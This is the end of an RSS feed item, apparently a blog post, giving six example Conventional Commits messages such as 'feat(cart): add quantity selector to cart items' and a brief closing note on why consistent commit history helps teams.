&lt;p&gt;&lt;strong&gt;1. Adding a New Feature&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;feat(cart): add quantity selector to cart items
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Fixing a Bug&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fix(auth): resolve issue with token refresh on expiration
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Documentation Update&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docs(readme): update usage example for CLI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Styling Change&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;style(ui): reformat buttons and inputs using Tailwind
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5. Code Refactoring&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;refactor(api): simplify data fetch logic in product service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;6. Breaking Change (Incompatible)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;feat!: drop support for Node.js v12
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;✅ Final Thoughts&lt;/strong&gt;&lt;br&gt;
Conventional Commits help create a clean, consistent, and automatable Git history. This is especially beneficial in team-based, open-source, or large-scale projects that rely on version control and automation.&lt;/p&gt;

</description>
      <category>git</category>
      <category>github</category>
      <category>gitlab</category>
    </item>
  </channel>
</rss>
